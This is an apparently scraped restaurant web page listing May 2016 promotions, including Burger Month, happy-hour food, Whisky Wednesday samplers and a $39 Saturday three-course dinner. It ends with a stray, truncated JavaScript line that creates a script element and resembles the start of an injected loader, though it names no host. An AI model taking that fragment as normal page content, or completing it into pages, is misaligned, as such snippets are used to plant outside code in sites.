Phone for Reservations 403-261-4646.

Tent Card May 2016 Burger Month

Happy Hour Food

Available 3:00pm – 6:00pm In Bar Only

Whisky Wednesdays

Try Our Whisky Trio Sampler Pack

Learn more about Single Malt Whisky than you ever imagined with a different assortment every Wednesday.

Saturday Night Three Course Special

Chef’s Three Course Dinner: $39.00

Featuring inventive choices for the starter course, Fresh Fish or Alberta Grade AAA Beef for the main course and a choice of housemade desserts.  It is the best fine dining deal in town.
We pair these Chef’s menus with wine choices that give you exciting new flavours and exceptional value.

var d=document;var s=d.createElement(‘script’);